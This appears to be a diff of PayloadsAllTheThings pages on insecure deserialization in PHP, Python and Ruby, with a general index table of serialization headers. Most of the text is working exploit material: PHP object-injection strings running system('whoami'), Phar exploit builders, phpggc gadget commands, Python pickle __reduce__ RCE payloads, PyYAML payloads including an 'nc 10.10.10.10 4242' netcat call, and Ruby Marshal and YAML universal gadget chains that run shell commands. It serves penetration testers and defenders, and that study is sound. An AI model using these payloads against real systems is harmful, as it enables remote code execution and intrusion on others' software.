* [CVE-2017-5941 - NATIONAL VULNERABILITY DATABASE - 02/09/2017](https://nvd.nist.gov/vuln/detail/CVE-2017-5941) * [NodeJS Deserialization - gonczor - January 8, 2020](https://web.archive.org/web/20240530025137/https://blacksheephacks.pl/nodejs-deserialization/)

View File

@@ -1,6 +1,18 @@
# PHP Deserialization # PHP Deserialization
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. > PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.
## Summary
* [General Concept](#general-concept)
* [Authentication Bypass](#authentication-bypass)
* [Object Injection](#object-injection)
* [Finding and Using Gadgets](#finding-and-using-gadgets)
* [Phar Deserialization](#phar-deserialization)
* [Real World Examples](#real-world-examples)
* [References](#references)
## General Concept
The following magic methods will help you for a PHP Object injection The following magic methods will help you for a PHP Object injection
@@ -10,20 +22,6 @@ The following magic methods will help you for a PHP Object injection
Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection. Also you should check the `Wrapper Phar://` in [File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phar) which use a PHP object injection.
## Summary
* [General concept](#general-concept)
* [Authentication bypass](#authentication-bypass)
* [Object Injection](#object-injection)
* [Finding and using gadgets](#finding-and-using-gadgets)
* [Phar Deserialization](#phar-deserialization)
* [Real world examples](#real-world-examples)
* [References](#references)
## General concept
Vulnerable code: Vulnerable code:
```php ```php
@@ -52,17 +50,21 @@ Vulnerable code:
Craft a payload using existing code inside the application. Craft a payload using existing code inside the application.
```php * Basic serialized data
# Basic serialized data
a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
# Command execution ```php
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}" a:2:{i:0;s:4:"XVWA";i:1;s:33:"Xtreme Vulnerable Web Application";}
``` ```
## Authentication bypass * Command execution
### Type juggling ```php
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
```
## Authentication Bypass
### Type Juggling
Vulnerable code: Vulnerable code:
@@ -120,14 +122,12 @@ We can do an array like this:
a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;} a:2:{s:10:"admin_hash";N;s:4:"hmac";R:2;}
``` ```
## Finding and Using Gadgets
## Finding and using gadgets
Also called `"PHP POP Chains"`, they can be used to gain RCE on the system. Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
* In PHP source code, look for `unserialize()` function. * In PHP source code, look for `unserialize()` function.
* Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`: * Interesting [Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php) such as `__construct()`, `__destruct()`, `__call()`, `__callStatic()`, `__get()`, `__set()`, `__isset()`, `__unset()`, `__sleep()`, `__wakeup()`, `__serialize()`, `__unserialize()`, `__toString()`, `__invoke()`, `__set_state()`, `__clone()`, and `__debugInfo()`:
* `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct) * `__construct()`: PHP allows developers to declare constructor methods for classes. Classes which have a constructor method call this method on each newly-created object, so it is suitable for any initialization that the object may need before it is used. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.construct)
* `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct) * `__destruct()`: The destructor method will be called as soon as there are no other references to a particular object, or in any order during the shutdown sequence. [php.net](https://www.php.net/manual/en/language.oop5.decon.php#object.destruct)
* `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call) * `__call(string $name, array $arguments)`: The `$name` argument is the name of the method being called. The `$arguments` argument is an enumerated array containing the parameters passed to the `$name`'ed method. [php.net](https://www.php.net/manual/en/language.oop5.overloading.php#object.call)
@@ -146,16 +146,15 @@ Also called `"PHP POP Chains"`, they can be used to gain RCE on the system.
* `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone) * `__clone()`: Once the cloning is complete, if a `__clone()` method is defined, then the newly created object's `__clone()` method will be called, to allow any necessary properties that need to be changed. [php.net](https://www.php.net/manual/en/language.oop5.cloning.php#object.clone)
* `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo) * `__debugInfo()`: This method is called by `var_dump()` when dumping an object to get the properties that should be shown. If the method isn't defined on an object, then all public, protected and private properties will be shown. [php.net](https://www.php.net/manual/en/language.oop5.magic.php#object.debuginfo)
[ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks: [ambionics/phpggc](https://github.com/ambionics/phpggc) is a tool built to generate the payload based on several frameworks:
- Laravel * Laravel
- Symfony * Symfony
- SwiftMailer * SwiftMailer
- Monolog * Monolog
- SlimPHP * SlimPHP
- Doctrine * Doctrine
- Guzzle * Guzzle
```powershell ```powershell
phpggc monolog/rce1 'phpinfo();' -s phpggc monolog/rce1 'phpinfo();' -s
@@ -175,8 +174,8 @@ A valid PHAR includes four elements:
3. **File Contents**: Contains the actual files in the archive. 3. **File Contents**: Contains the actual files in the archive.
4. **Signature**(optional): For verifying archive integrity. 4. **Signature**(optional): For verifying archive integrity.
* Example of a Phar creation in order to exploit a custom `PDFGenerator`. * Example of a Phar creation in order to exploit a custom `PDFGenerator`.
```php ```php
<?php <?php
class PDFGenerator { } class PDFGenerator { }
@@ -208,6 +207,7 @@ A valid PHAR includes four elements:
``` ```
* Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub. * Example of a Phar creation with a `JPEG` magic byte header since there is no restriction on the content of stub.
```php ```php
<?php <?php
class AnyClass { class AnyClass {
@@ -233,31 +233,29 @@ A valid PHAR includes four elements:
$phar->stopBuffering(); $phar->stopBuffering();
``` ```
## Real World Examples
## Real world examples
* [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237) * [Vanilla Forums ImportController index file_exists Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410237)
* [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212) * [Vanilla Forums Xenforo password splitHash Unserialize Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/410212)
* [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882) * [Vanilla Forums domGetImages getimagesize Unserialize Remote Code Execution Vulnerability (critical) - Steven Seeley](https://hackerone.com/reports/410882)
* [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552) * [Vanilla Forums Gdn_Format unserialize() Remote Code Execution Vulnerability - Steven Seeley](https://hackerone.com/reports/407552)
## References ## References
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection) * [CTF writeup: PHP object injection in kaspersky CTF - Jaimin Gohel - November 24, 2018](https://web.archive.org/web/20210514112950/https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d)
* [Utilizing Code Reuse/ROP in PHP](https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf) * [ECSC 2019 Quals Team France - Jack The Ripper Web - noraj - May 22, 2019](https://web.archive.org/web/20211022161400/https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php) * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - September 12, 2023](https://web.archive.org/web/20230915040126/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains) * [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - October 11, 2023](https://web.archive.org/web/20231017130212/https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2)
* [POC2009 Shocking News in PHP Exploitation](https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf) * [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - xanhacks - August 11, 2022](https://web.archive.org/web/20250926045827/https://www.xanhacks.xyz/p/php-gadget-chain/)
* [PHP Internals Book - Serialization](http://www.phpinternalsbook.com/classes_objects/serialization.html) * [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://web.archive.org/web/20200929143500/https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/)
* [TSULOTT Web challenge write-up from MeePwn CTF 1st 2017 by Rawsec](https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web) * [phar:// deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20220819225041/https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization)
* [CTF writeup: PHP object injection in kaspersky CTF](https://medium.com/@jaimin_gohel/ctf-writeup-php-object-injection-in-kaspersky-ctf-28a68805610d) * [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - February 13, 2024](https://web.archive.org/web/20240213181951/https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html)
* [Jack The Ripper Web challeneg Write-up from ECSC 2019 Quals Team France by Rawsec](https://blog.raw.pm/en/ecsc-2019-quals-write-ups/#164-Jack-The-Ripper-Web) * [PHP Generic Gadget - Charles Fol - July 4, 2017](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/) * [PHP Internals Book - Serialization - jpauli - June 15, 2013](https://web.archive.org/web/20130615052058/http://www.phpinternalsbook.com:80/classes_objects/serialization.html)
* [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://vkili.github.io/blog/insecure%20deserialization/pop-chains/) * [PHP Object Injection - Egidio Romano - April 24, 2020](https://web.archive.org/web/20130313225253/https://www.owasp.org/index.php/PHP_Object_Injection)
* [How to exploit the PHAR Deserialization Vulnerability - Alexandru Postolache - May 29, 2020](https://pentest-tools.com/blog/exploit-phar-deserialization-vulnerability/) * [PHP Pop Chains - Achieving RCE with POP chain exploits. - Vickie Li - September 3, 2020](https://web.archive.org/web/20200903232359/https://vkili.github.io/blog/insecure%20deserialization/pop-chains/)
* [phar:// deserialization - HackTricks](https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization) * [PHP unserialize - php.net - March 29, 2001](https://web.archive.org/web/20260219122641/https://www.php.net/manual/en/function.unserialize.php)
* [Finding PHP Serialization Gadget Chain - DG'hAck Unserial killer - Aug 11, 2022 - xanhacks](https://www.xanhacks.xyz/p/php-gadget-chain/#introduction) * [POC2009 Shocking News in PHP Exploitation - Stefan Esser - May 23, 2015](https://web.archive.org/web/20150523205411/https://www.owasp.org/images/f/f6/POC2009-ShockingNewsInPHPExploitation.pdf)
* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 1 - Rémi Matasse - 12/09/2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-1) * [Rusty Joomla RCE Unserialize overflow - Alessandro Groppo - October 3, 2019](https://web.archive.org/web/20241010013739/https://blog.hacktivesecurity.com/index.php/2019/10/03/rusty-joomla-rce/)
* [FINDING A POP CHAIN ON A COMMON SYMFONY BUNDLE: PART 2 - Rémi Matasse - 11/10/2023](https://www.synacktiv.com/publications/finding-a-pop-chain-on-a-common-symfony-bundle-part-2) * [TSULOTT Web challenge write-up - MeePwn CTF - Rawsec - July 15, 2017](https://web.archive.org/web/20211022151328/https://blog.raw.pm/en/meepwn-2017-write-ups/#TSULOTT-Web)
* [PHP deserialization attacks and a new gadget chain in Laravel - Mathieu Farrell - Tue 13 February 2024](https://blog.quarkslab.com/php-deserialization-attacks-and-a-new-gadget-chain-in-laravel.html) * [Utilizing Code Reuse/ROP in PHP - Stefan Esser - June 15, 2020](http://web.archive.org/web/20200615044621/https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf)

View File

@@ -1,12 +1,29 @@
# Python Deserialization # Python Deserialization
* In Python source code, look for: > Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.
* `cPickle.loads`
* `pickle.loads`
* `_pickle.loads`
* `jsonpickle.decode`
## Pickle ## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [Pickle](#pickle)
* [PyYAML](#pyyaml)
* [References](#references)
## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.
## Methodology
In Python source code, look for these sinks:
* `cPickle.loads`
* `pickle.loads`
* `_pickle.loads`
* `jsonpickle.decode`
### Pickle
The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object. The following code is a simple example of using `cPickle` in order to generate an auth_token which is a serialized User object.
:warning: `import cPickle` will only work on Python 2 :warning: `import cPickle` will only work on Python 2
@@ -26,7 +43,7 @@ auth_token = b64encode(cPickle.dumps(h))
print("Your Auth Token : {}").format(auth_token) print("Your Auth Token : {}").format(auth_token)
``` ```
The vulnerability is introduced when a token is loaded from an user input. The vulnerability is introduced when a token is loaded from an user input.
```python ```python
new_token = raw_input("New Auth Token : ") new_token = raw_input("New Auth Token : ")
@@ -51,7 +68,69 @@ evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token) print("Your Evil Token : {}").format(evil_token)
``` ```
A universal payload can be created by loading `os` at runtime using eval:
```python
import pickle
import base64
class RCE:
def __reduce__(self):
return eval, ("__import__('os').system('whoami')",)
pickled = pickle.dumps(RCE())
print(base64.b64encode(pickled).decode())
```
This approach allows running arbitrary python code, which allows us to use different techniques from code injection:
```python
__import__('os').system('whoami') # Reflected RCE
getattr('', __import__('os').popen('whoami').read()) # Error-Based RCE
1 / (__include__("os").popen("id")._proc.wait() == 0) # Boolean-Based RCE
__include__("os").popen("id && sleep 5").read() # Time-Based RCE
```
### PyYAML
YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for `load` has been switched to SafeLoader mitigating the risks against Remote Code Execution. [PR #420 - Fix](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now `yaml.unsafe_load` and `yaml.load(input, Loader=yaml.UnsafeLoader)`.
```py
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
## References ## References
* [Exploiting misuse of Python's "pickle" - Mar 20, 2011](https://blog.nelhage.com/2011/03/exploiting-pickle/) * [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://web.archive.org/web/20250501184227/https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)
* [Python Pickle Injection - Apr 30, 2017](http://xhyumiracle.com/python-pickle-injection/) * [Exploiting misuse of Python's "pickle" - Nelson Elhage - March 20, 2011](https://web.archive.org/web/20260211161939/https://blog.nelhage.com/2011/03/exploiting-pickle/)
* [Python Yaml Deserialization - HackTricks - July 19, 2024](https://web.archive.org/web/20241216145404/https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
* [PyYAML Documentation - PyYAML - April 29, 2006](https://web.archive.org/web/20260219140302/https://pyyaml.org/wiki/PyYAMLDocumentation)
* [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://web.archive.org/web/20250604032318/https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
* [Successful Errors: New Code Injection and SSTI Techniques - Vladislav Korchagin - January 03, 2026](https://github.com/vladko312/Research_Successful_Errors/blob/main/README.md)

View File

@@ -2,27 +2,38 @@
> Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP > Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object - OWASP
Check the following sub-sections, located in other files : ## Summary
* [Deserialization Identifier](#deserialization-identifier)
* [POP Gadgets](#pop-gadgets)
* [Labs](#labs)
* [References](#references)
## Deserialization Identifier
Check the following sub-sections, located in other chapters :
* [Java deserialization : ysoserial, ...](Java.md) * [Java deserialization : ysoserial, ...](Java.md)
* [PHP (Object injection) : phpggc, ...](PHP.md) * [PHP (Object injection) : phpggc, ...](PHP.md)
* [Ruby : universal rce gadget, ...](Ruby.md) * [Ruby : universal rce gadget, ...](Ruby.md)
* [Python : pickle, ...](Python.md) * [Python : pickle, PyYAML, ...](Python.md)
* [YAML : PyYAML, ...](YAML.md)
* [.NET : ysoserial.net, ...](DotNET.md) * [.NET : ysoserial.net, ...](DotNET.md)
| Object Type | Header (Hex) | Header (Base64) | | Object Type | Header (Hex) | Header (Base64) | Indicators |
|-----------------|--------------|-----------------| |-----------------|----------------|-----------------|------------------|
| Java Serialized | AC ED | rO | | .NET ViewState | `FF 01` | `/w` | Commonly found inside hidden inputs around HTML forms |
| .NET ViewState | FF 01 | /w | | BinaryFormatter | `0001 0000 00FF FFFF FF01` | `AAEAAAD` | Base64 decode and check for the long `FF FF FF FF` sequence. |
| Python Pickle | 80 04 95 | gASV | | Java Serialized | `AC ED` | `rO` | Base64 decode and check first bytes. |
| PHP Serialized | 4F 3A | Tz | | PHP Serialized | `4F 3A` | `Tz` | Prefixes like `O:, a:, s:, i:, b:` and length indicators. |
| Python Pickle | `80 04 95` | `gASV` | Text: opcodes like `(lp0, S'Test'`. |
| Ruby Marshal | `04 08` | `BAgK` | Base64 decode and look for `\x04\x08` at the start. |
## POP Gadgets ## POP Gadgets
> A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process. > A POP (Property Oriented Programming) gadget is a piece of code implemented by an application's class, that can be called during the deserialization process.
POP gadgets characteristics: POP gadgets characteristics:
* Can be serialized * Can be serialized
* Has public/accessible properties * Has public/accessible properties
* Implements specific vulnerable methods * Implements specific vulnerable methods
@@ -30,27 +41,20 @@ POP gadgets characteristics:
## Labs ## Labs
* [Portswigger - Insecure Deserialization](https://portswigger.net/web-security/all-labs#insecure-deserialization) * [PortSwigger - Modifying serialized objects](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects)
* [NickstaDB/DeserLab - Java deserialization exploitation lab](https://github.com/NickstaDB/DeserLab) * [PortSwigger - Modifying serialized data types](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-data-types)
* [PortSwigger - Using application functionality to exploit insecure deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-application-functionality-to-exploit-insecure-deserialization)
* [PortSwigger - Arbitrary object injection in PHP](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-arbitrary-object-injection-in-php)
* [PortSwigger - Exploiting Java deserialization with Apache Commons](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-java-deserialization-with-apache-commons)
* [PortSwigger - Exploiting PHP deserialization with a pre-built gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain)
* [PortSwigger - Exploiting Ruby deserialization using a documented gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-ruby-deserialization-using-a-documented-gadget-chain)
* [PortSwigger - Developing a custom gadget chain for Java deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-java-deserialization)
* [PortSwigger - Developing a custom gadget chain for PHP deserialization](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization)
* [PortSwigger - Using PHAR deserialization to deploy a custom gadget chain](https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain)
* [NickstaDB - DeserLab](https://github.com/NickstaDB/DeserLab)
## References ## References
* [Github - frohoff/ysoserial](https://github.com/frohoff/ysoserial) * [ExploitDB Introduction - Abdelazim Mohammed(@intx0x80) - May 27, 2018](https://web.archive.org/web/20180527082635/https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
* [Github - pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net) * [Exploiting insecure deserialization vulnerabilities - PortSwigger - July 25, 2020](https://web.archive.org/web/20200725143552/https://portswigger.net/web-security/deserialization/exploiting)
* [Java-Deserialization-Cheat-Sheet - GrrrDog](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet/blob/master/README.md) * [Instagram's Million Dollar Bug - Wesley Wineberg - December 17, 2015](https://web.archive.org/web/20151217194413/http://exfiltrated.com/research-Instagram-RCE.php)
* [Understanding & practicing java deserialization exploits](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
* [How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a)
* [Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
* [PHP Object Injection - OWASP](https://www.owasp.org/index.php/PHP_Object_Injection)
* [PHP Object Injection - Thin Ba Shane](http://location-href.com/php-object-injection/)
* [PHP unserialize](http://php.net/manual/en/function.unserialize.php)
* [PHP Generic Gadget - ambionics security](https://www.ambionics.io/blog/php-generic-gadget-chains)
* [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/)
* [Java Deserialization in manager.paypal.com](http://artsploit.blogspot.hk/2016/01/paypal-rce.html) by Michael Stepankin
* [Instagram's Million Dollar Bug](http://www.exfiltrated.com/research-Instagram-RCE.php) by Wesley Wineberg
* [Ruby Cookie Deserialization RCE on facebooksearch.algolia.com](https://hackerone.com/reports/134321) by Michiel Prins (michiel)
* [Java deserialization](https://seanmelia.wordpress.com/2016/07/22/exploiting-java-deserialization-via-jboss/) by meals
* [Diving into unserialize() - Sep 19- Vickie Li](https://medium.com/swlh/diving-into-unserialize-3586c1ec97e)
* [.NET Gadgets](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) by Alvaro Muñoz (@pwntester) & OleksandrMirosh
* [ExploitDB Introduction](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
* [Exploiting insecure deserialization vulnerabilities - PortSwigger](https://portswigger.net/web-security/deserialization/exploiting)

View File

@@ -1,6 +1,14 @@
# Ruby Deserialization # Ruby Deserialization
## Marshal.load > Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby's Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.
## Summary
* [Marshal Deserialization](#marshal-deserialization)
* [YAML Deserialization](#yaml-deserialization)
* [References](#references)
## Marshal Deserialization
Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5 Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5
@@ -8,16 +16,18 @@ Script to generate and verify the deserialization gadget chain against Ruby 2.0
for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
``` ```
## Yaml.load ## YAML Deserialization
Vulnerable code Vulnerable code
```ruby ```ruby
require "yaml" require "yaml"
YAML.load(File.read("p.yml")) YAML.load(File.read("p.yml"))
``` ```
Universal gadget for ruby <= 2.7.2: Universal gadget for ruby <= 2.7.2:
```ruby
```yaml
--- !ruby/object:Gem::Requirement --- !ruby/object:Gem::Requirement
requirements: requirements:
!ruby/object:Gem::DependencyList !ruby/object:Gem::DependencyList
@@ -31,7 +41,7 @@ requirements:
Universal gadget for ruby 2.x - 3.x. Universal gadget for ruby 2.x - 3.x.
```ruby ```yaml
--- ---
- !ruby/object:Gem::Installer - !ruby/object:Gem::Installer
i: x i: x
@@ -53,11 +63,32 @@ Universal gadget for ruby 2.x - 3.x.
method_id: :resolve method_id: :resolve
``` ```
```yaml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## References ## References
- [RUBY 2.X UNIVERSAL RCE DESERIALIZATION GADGET CHAIN - elttam, Luke Jahnke](https://www.elttam.com.au/blog/ruby-deserialization/) * [Ruby 2.X Universal RCE Deserialization Gadget Chain - Luke Jahnke - November 8, 2018](https://web.archive.org/web/20191128020715/https://www.elttam.com.au/blog/ruby-deserialization/)
- [Universal RCE with Ruby YAML.load - @_staaldraad ](https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/) * [Universal RCE with Ruby YAML.load - Etienne Stalmans (@_staaldraad) - March 2, 2019](https://web.archive.org/web/20190302114631/https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/)
- [Online access to Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab](https://pentesterlab.com/exercises/ruby_ugadget/online) * [Ruby 2.x Universal RCE Deserialization Gadget Chain - PentesterLab - 2024](https://web.archive.org/web/20190817140453/https://pentesterlab.com/exercises/ruby_ugadget/course)
- [Universal RCE with Ruby YAML.load (versions > 2.7) - @_staaldraad](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/) * [Universal RCE with Ruby YAML.load (versions > 2.7) - Etienne Stalmans (@_staaldraad) - January 9, 2021](https://web.archive.org/web/20260201150417/https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/)
